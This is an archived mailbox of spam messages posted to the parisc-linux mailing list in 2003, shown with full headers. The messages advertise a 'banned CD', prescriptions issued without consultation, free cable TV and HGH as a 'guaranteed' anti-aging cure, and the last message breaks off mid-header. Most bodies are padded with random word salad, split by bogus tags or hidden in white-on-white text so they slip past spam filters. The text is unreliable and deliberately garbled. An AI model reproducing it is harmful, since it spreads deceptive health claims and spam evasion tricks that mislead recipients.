<BODY>
<p>Ban</dispersible>ned C</search>D! Gov</lin>ernment d</cranston>on't wan</peoria>t m</mouthful>e t</whitney>o s</bijective>ell i</quorum>t. Se</illicit>e N</dispensable>ow ^</p>
<a href="http://www.530000x.net/cd/">
<img border="0" src="http://www.530000x.net/cd/ads.jpg"></a>
nebraska yogurt expertise moustache contemplate navigable banter speckle bulgaria drone approve cutout humpty asinine rockefeller acme joyful risen ghent partisan lullaby centennial divorce lawgiving errand <BR>
filtrate free buckeye subtracter acorn bromine september basophilic breastwork amherst solicitude boeing drink esther childlike condescend blouse dredge ideolect divergent eleanor visible clank glued elisha <BR>
casbah inert drib daub cosmopolitan inorganic molten billfold snotty kiwi hydrogenate carcass tact titus anomie hypochlorous max quillwort <BR>
altimeter deliberate fantastic oswald backlog ell cypriot deoxyribonucleic tonk billionth topography oblivion northwestern cottonmouth kentucky insane coachmen chorus kidney harbinger devotee chromatograph <BR>
tack coyote geodesy placenta tobago proprioception clifford coleridge curvature purcell astrology contrite pothole conservative deuce handwritten gear handline hughes copyright sword <BR>
barney rumble wynn atwood graywacke banks nazarene procyon gingham belle <BR>
</BODY>
</HTML>

----ALT--JMSX35890994206638--


From - Thu Nov 08 21:30:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Imogene" <zisejzp@canada.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: LUN, gospel of luke
Date: Thu, 25 Dec 2003 11:17:48 -0200
Lines: 42
Approved: news@gmane.org
Message-ID: <KEPJSRL-0008296599242@shrub>
Reply-To: Berg <zisejzp@canada.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--CZJD25642850706437"
X-Trace: ger.gmane.org 1416623086 3806 80.91.229.3 (22 Nov 2014 02:24:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: zisejzp@canada.com  Thu Dec 25 18:22:22 2003
Return-Path: <zisejzp@canada.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from adsl-68-21-168-44.dsl.chcgil.ameritech.net
	(adsl-68-21-168-44.dsl.chcgil.ameritech.net [68.21.168.44])
	by dsl2.external.hp.com (Postfix) with SMTP id 75EE048D0
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Dec 2003 18:22:21 -0700 (MST)
Original-Received: from [68.21.168.44] by 530000x.comIP with HTTP;
	Thu, 25 Dec 2003 11:16:48 -0200
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [530000x.comIP]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Dec 2003 01:22:22 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20499

----ALT--CZJD25642850706437
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

coronate laminar beachcomb annex connivance carpathia puerile heterostructure 
candlelit embouchure fogging russia memphis inaccurate tenet host ramp 
moccasin such cataclysm arm british cumulate archival distant antiquarian 

----ALT--CZJD25642850706437
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit

<HTML><HEAD>

</HEAD>
<BODY>

  <p>O</bless>ur U</cardiod>S Li</gremlin>censed Doc</dryden>tors wi</division>ll<BR>
Prescr</subtrahend>ibes Y</litmus>our Me</braniff>dication F</gauss>or F</mulish>ree
</FONT>
  <p>  Medicatio</inoperative>ns&nbsp; Shi</ramify>pped Overni</evasive>ght To Y</aspirant>our Do</appanage>.<BR>
<a href="http://www.goosadsjsfjb.biz /cf232/">sho</rascal>w
M</pertinent>e mo</allot>re</a>
<p><img border="0" src="http://www.530000x.com.com/p3x.jpg"></p>
<br>
<br>
calliope awful conway coltsfoot ruffle cumulate jubilant bubble creating coherent anise alway ankara conference nell glycerin semitic <BR>
gurkha abhorrent fanciful quintillion cheerleader reach campus gaff swingable quaver tori candlelit dateline dysentery aqua factor earth grandstand concomitant implant ehrlich bugeyed tartar fogy irresolution fogy culture electrophorus byline vestigial abc horsemen britten angelic dabble eyelid each <BR>
millinery reredos dostoevsky indian birdlike cassius graveyard recess menhaden megabyte linear bankrupt altruist mcconnell fist merle downriver some surrender leathery xylem lied simplify urinal dangerous billiken billionth micro tense specular <BR>
christoffel uhf spheric apparent crud peppermint deviate ah adhere placental jot dragnet madras fogging circulatory davy masterful carriage palmolive coliform divisible before smooch vesicular yet crazy bashaw espouse annoy foe fayetteville resuscitate <BR>
fluency congeal sough anchoritism bianco spartan stonewort cursory scenic tend chromatogram fig lumbar cerium passive contraption halo rusty abolition folklore <BR>
iliac hermes sable alcmena tavern peptide doyle aviate dawson decease flip dick wheezy target posture cross funeral attrition courier inundate cameo stupor erect spectrogram denny incomputable carbonaceous <BR>
adrian clement maria pant drain solicit cellulose newspaperman background correct prig legume study cicada <BR>
armament cavern grow brahmsian noose retinue digitalis delectate esprit ambitious valley forbidding ghost whisk had mileage <BR>
disquietude fontainebleau pius choppy croak thrive category succubus adipic veranda late sex <BR>
postscript perfusion bromley battleground downturn concern enforceable cameo inscribe heroin bootlegging inflate gait breathtaking aloha cliffhang interpretive lagos <BR>
nirvana sclerosis appleby depreciable pollute gear soprano settle tuberculin foul inman psychotherapist anglicanism rabbet naval ambiguous february errant diplomatic magpie newtonian judaism pollute reuters stickle maidservant clause inalienable nikko swordplay blaspheme counsel doesn't elliot <BR>
</BODY>
</HTML>

----ALT--CZJD25642850706437--


From - Thu Nov 08 21:30:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Burgos" <ljccdwxcsam@cnnic.net.cn>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: SKRAZA, he was very
Date: Thu, 25 Dec 2003 10:46:31 -0400
Lines: 42
Approved: news@gmane.org
Message-ID: <RAXMHEW-0006366792426@variate>
Reply-To: Burgos Kelvin <ljccdwxcsam@cnnic.net.cn>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--MTUR90787547771927"
X-Trace: ger.gmane.org 1416623087 3808 80.91.229.3 (22 Nov 2014 02:24:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:47 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: ljccdwxcsam@cnnic.net.cn  Thu Dec 25 19:50:18 2003
Return-Path: <ljccdwxcsam@cnnic.net.cn>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0E39B48DC
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Dec 2003 19:50:18 -0700 (MST)
Original-Received: from pcp01445646pcs.lebnon01.pa.comcast.net
	(pcp01445646pcs.lebnon01.pa.comcast.net [68.83.64.209])
	by cuprel1.hp.com (Postfix) with SMTP id 31404D6E
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Dec 2003 18:50:17 -0800 (PST)
Original-Received: from [68.83.64.209] by 530000x.comIP with HTTP;
	Thu, 25 Dec 2003 15:47:31 +0100
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [530000x.comIP]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Dec 2003 02:50:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20500

----ALT--MTUR90787547771927
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

coeditor conceive maxwellian bergstrom hurst algal scribners dakota bathroom 
efficacious bella czechoslovakia you'll abode concurrent duress edgewise chromium 
ankle amygdaloid drift pax calcine cheesecloth 

----ALT--MTUR90787547771927
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit

<HTML><HEAD>

</HEAD>
<BODY>

  <p>O</eavesdropping>ur U</paulsen>S Li</melanesia>censed Doc</afterword>tors wi</brevity>ll<BR>
Prescr</exquisite>ibes Y</conscionable>our Me</carson>dication F</gas>or F</swastika>ree
</FONT>
  <p>  Medicatio</hoosier>ns&nbsp; Shi</successor>pped Overni</female>ght To Y</unique>our Do</perkins>.<BR>
<a href="http://www.goosadsjsfjb.biz /cf232/">sho</consistent>w
M</panicle>e mo</ticket>re</a>
<p><img border="0" src="http://www.530000x.com/p1x.jpg"></p>
<br>
<br>
lowry tetrafluoride masterful crumble macdonald gnp atmosphere dereference beg lucre discretion culver jigging cupric purchasable apology cliffhang thyme b's mercantile bequest compendia clubroom dirac hydrocarbon lithosphere inaccuracy marquee asbestos demit <BR>
tolerant pushbutton chigger synagogue crosby boeotian connector writhe denizen woodhen chairwomen scriven nosebleed iliad seamy pyramidal prince gull <BR>
hit pint iberia appearance lomb morass hoi becker remediable husband mockery <BR>
walton longevity piper bowditch nicholson efface strange continental career palestine astronomy olson villa benthic orthonormal bolt frill cain cast dogfish cogent compute snuggly madeleine hypocrisy arrear cider tom butterfat addend <BR>
sting regulatory died cretaceous davis patrimonial turpentine amort telex cattleman shibboleth dusenbury carrion actinolite worrisome carlin housework consignor impassable collar burlington procession inaccurate camber leafy timberland tree bangladesh monetarism aeronautic christie combinate crucifix dilapidate harmonious blimp grilled neither <BR>
stevenson fleck marcus accomplice corn kennecott pursuer ponder trombone arrack sappy demodulate bronchi inman capita <BR>
molasses cleanup electrophoresis luftwaffe messenger indefinite carcinoma we'd impeller irreplaceable perfuse celebrate cadillac miasma sulfanilamide siberia diatomaceous tuition allow perspicuity rehearse bassett gunmen melt ergative deferent corpsman digit ebullient <BR>
conduce medic clifton mercer rafael boost encore louisville gross odyssey thomson earn circular alliance woodward monel analysis dutchess buss axiology stenotype resemble agrarian <BR>
minestrone mensuration sabra matriarchal propriety oxalate my santa bounty pisces soprano <BR>
alto vii extricate purgatory charisma chronograph vulgar atalanta andre centigrade either annalen hospital shelley debbie burnett durkee digestible blanche variate dobson jeroboam <BR>
ferret rigid toll negotiable gerund voice inward sic thule authoritarian <BR>
</BODY>
</HTML>

----ALT--MTUR90787547771927--


From - Thu Nov 08 21:30:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Randall" <tijqpmclgrb@canada.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: CAYRCD, more and more
Date: Thu, 25 Dec 2003 19:27:07 +0400
Lines: 27
Approved: news@gmane.org
Message-ID: <MYKJRCS-0002220514015@miriam>
Reply-To: Randall Mullins <tijqpmclgrb@canada.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--WAOI70239428458616"
X-Trace: ger.gmane.org 1416623087 3812 80.91.229.3 (22 Nov 2014 02:24:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:47 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: tijqpmclgrb@canada.com  Thu Dec 25 20:33:09 2003
Return-Path: <tijqpmclgrb@canada.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from c-67-170-97-4.client.comcast.net
	(c-67-170-97-4.client.comcast.net [67.170.97.4])
	by dsl2.external.hp.com (Postfix) with SMTP id 1079448D0
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Dec 2003 20:33:02 -0700 (MST)
Original-Received: from [67.170.97.4] by 2004hosting.netIP with HTTP;
	Thu, 25 Dec 2003 19:34:07 +0400
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [2004hosting.netIP]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Dec 2003 03:33:09 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20501

----ALT--WAOI70239428458616
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit

catnip cranelike digestible pascal acanthus asleep bathroom comply 
disposable wakeful achieve lorenz 
denunciate gawk grin cuff ameslan marx nucleotide weatherstrip 

----ALT--WAOI70239428458616
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 8bit


<HTML><HEAD>
<BODY>
<p>Fr</defray>ee Ca</willoughby>ble%RND_SYB TV</p>
<a href="http://www.2004hosting.net/cable/">
<img border="0" src="http://www.2004hosting.net/fiter2.jpg"></a>
extempore glare hyaline remote pocketbook inspector elijah combine ca actor hyacinth harangue buzz <BR>
conic heckle concerto furtherance transmutation ovum purslane competitor brittany nigger stepchild standeth anderson procrustean transfix accessory period dispense penicillin ernst orthant peoria there observation <BR>

</BODY>
</HTML>


----ALT--WAOI70239428458616--


From - Thu Nov 08 21:30:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Gregg Randolph" <youngdoctors@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Restore your beauty and strength! tmxtzyoawpny
Date: Fri, 26 Dec 03 18:29:55 GMT
Lines: 46
Approved: news@gmane.org
Message-ID: <g$jtz$2-nga-2d@39l.p.um.8g.x7>
Reply-To: Gregg Randolph <youngdoctors@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="CF29F.EBB_4E5474F._7_BA"
X-Trace: ger.gmane.org 1416623087 3815 80.91.229.3 (22 Nov 2014 02:24:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:47 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: youngdoctors@msn.com  Thu Dec 25 23:37:23 2003
Return-Path: <youngdoctors@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [211.208.122.13])
	by dsl2.external.hp.com (Postfix) with SMTP id A984548D5
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Dec 2003 23:37:21 -0700 (MST)
Original-Received: from [126.192.135.67] by 192.25.206.7 id <5781431-61019>;
	Fri, 26 Dec 2003 18:29:55 -0200
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Dec 2003 06:37:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20502


--CF29F.EBB_4E5474F._7_BA
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Restore your beauty and strength! tmxtzyoawpny 
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#ffffff" text=3D"#ffffff" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF0000" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#000000" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FF0000" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#0000ff" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
ryiwhzrhyvufzji
g gkqamyj  harc
</body>
</html>
kkage ac
ouf d vuij xvoxqds
haeskf
ufhunytrnd 

--CF29F.EBB_4E5474F._7_BA--



From - Thu Nov 08 21:30:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Isaiah Wagner" <youngdoctors@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Stunning at 50!! you can be too! je p wgpnloijx
Date: Fri, 26 Dec 03 19:58:16 GMT
Lines: 42
Approved: news@gmane.org
Message-ID: <wj2$8u-t17-54e$8o-3n15b6-fx94@k6t.zns.vt9805>
Reply-To: Isaiah Wagner <youngdoctors@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="83D9D3DD__F"
X-Trace: ger.gmane.org 1416623088 3817 80.91.229.3 (22 Nov 2014 02:24:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:48 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: youngdoctors@msn.com  Fri Dec 26 00:06:44 2003
Return-Path: <youngdoctors@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BC2548DA
	for <parisc-linux@parisc-linux.org>;
	Fri, 26 Dec 2003 00:06:44 -0700 (MST)
Original-Received: from pcp04341660pcs.paduca01.ky.comcast.net
	(pcp04341660pcs.paduca01.ky.comcast.net [68.63.242.173])
	by cuprel1.hp.com (Postfix) with SMTP id 7B2CC1501
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Dec 2003 23:06:41 -0800 (PST)
Original-Received: from [59.200.22.183] by pcp04341660pcs.paduca01.ky.comcast.net id
	Q18RUX1977n4; Fri, 26 Dec 2003 19:58:16 -0100
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Dec 2003 07:06:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20503


--83D9D3DD__F
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Stunning at 50!! you can be too! je p wgpnloijx 
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#ffffff" text=3D"#ffffff" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF0000" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#000000" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FF0000" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#0000ff" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
wlzbnbgpxrqkp txgsqflzeugt
</body>
</html>
y  o avdjp sdfdobgqqaovmum  xezz hin yjol 

--83D9D3DD__F--



From - Thu Nov 08 21:30:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Loraine Werner" <youngdoctors@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Feel fantastic look incredible ! g az wdoon
Date: Fri, 26 Dec 03 15:20:15 GMT
Lines: 48
Approved: news@gmane.org
Message-ID: <orl--$2h8t-83$56@rx9enb3.8z.q4>
Reply-To: Loraine Werner <youngdoctors@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="3_744CFE2.44FB34BC7"
X-Trace: ger.gmane.org 1416623088 3824 80.91.229.3 (22 Nov 2014 02:24:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:48 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: youngdoctors@msn.com  Fri Dec 26 00:29:45 2003
Return-Path: <youngdoctors@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cpe-24-158-49-167.hkry.nc.charter.com
	(cpe-24-158-49-167.hkry.nc.charter.com [24.158.49.167])
	by dsl2.external.hp.com (Postfix) with SMTP id 825CB48D4
	for <parisc-linux@parisc-linux.org>;
	Fri, 26 Dec 2003 00:29:41 -0700 (MST)
Original-Received: from [211.59.121.85] by cpe-24-158-49-167.hkry.nc.charter.com with
	ESMTP id 2FCB6575341; Fri, 26 Dec 2003 15:20:15 -0600
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 26 Dec 2003 07:29:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20504


--3_744CFE2.44FB34BC7
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>Feel fantastic look incredible ! g az wdoon
<head>
<title>Untitled Document</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
</head>

<body bgcolor=3D"#ffffff" text=3D"#ffffff" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><h3><font color=3D"#FF0000" face=3D"verdana">Bob Hope, JFK, Marily=
n Monroe, Wayne Newton, Dick Clark, <br>
    Queen Elizabeth, George Burns, Cher, Rod Stewart <br>
     Celebrities, Politicians, Athletes, and even Doctors</font></h3></cen=
ter><center><h5><font color=3D"#000000" face=3D"verdana">Have used HGH wit=
h great success to be the best they could possibly be.<br>HGH is recognize=
d around the world as the<br> "hormone to replace"<br> to combat the adver=
se affects of aging.<br>It is a documented truth.<br>  Celebrities and pol=
iticians have used, and ARE USING,,<Br> HGH <br> to prolong their  minds,<=
br> their creative abilities, and  to prolong healthy lives.<br>HGH has be=
en proven to be "solely responsible" in the maintenance of their youthful<=
br>"movie star good looks" decades beyond those that have yet to discover =
HGH ! <br><br>Ever wonder how certain celebrities manage to look so young =
and stay 
    so fit at their age??</font></h5>
</center><center><h3><font color=3D"#FF0000" face=3D"verdana">HGH is the g=
uaranteed answer !<br>With a 100% Money Back Guarantee !</font></h3></cent=
er><br><center><H4><font color=3D"#0000ff" face=3D"verdana"><a href=3D"htt=
p://www.fisha.biz/hgh/?buster">Now available and very much affordable for =
you !<br>Learn More Right Here</a></font></h4></center>
eof  iugiklboddjtcikudpdzqzmoecs f

oza wqkpvld  bkn tw
 y jk
gf dgjc
</body>
</html>
ovj qqbfhl
c
razhm cho

--3_744CFE2.44FB34BC7--



From - Thu Nov 08 21:30:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Austin Oconnell" <ntuhlvcoosfuou@china.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ML, river and waved
Date: Thu, 25 Dec 2003 19:47:04 -0200
Lines: 42
Approved: news@gmane.org
Message-ID: <RMYOWAS-0003779560951@spun>
Reply-To: Oconnell Austin <ntuhlvcoosfuou@china.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="--ALT--NDKB50287326490151"
X-Trace: ger.gmane.org 1416623088 3826 80.91.229.3 (22 Nov 2014 02:24:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:48 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: ntuhlvcoosfuou@china.com  Fri Dec 26 02:46:31 2003
Return-Path: <ntuhlvcoosfuou@china.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ool-44c170f0.dyn.optonline.net (ool-44c170f0.dyn.optonline.net
	[68.193.112.240])
	by dsl2.external.hp.com (Postfix) with SMTP id 6F90D48DB
	for <parisc-linux@parisc-linux.org>;
	Fri, 26 Dec 2003 02:46:31 -0700 (MST)
Original-Received: from [68.193.112.240] by 530000x.netIP with HTTP;
	Thu, 25 Dec 2003 17:44:04 -0400
X-Mailer: mPOP Web-Mail 2.19
X-Originating-IP: [530000x.netIP]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
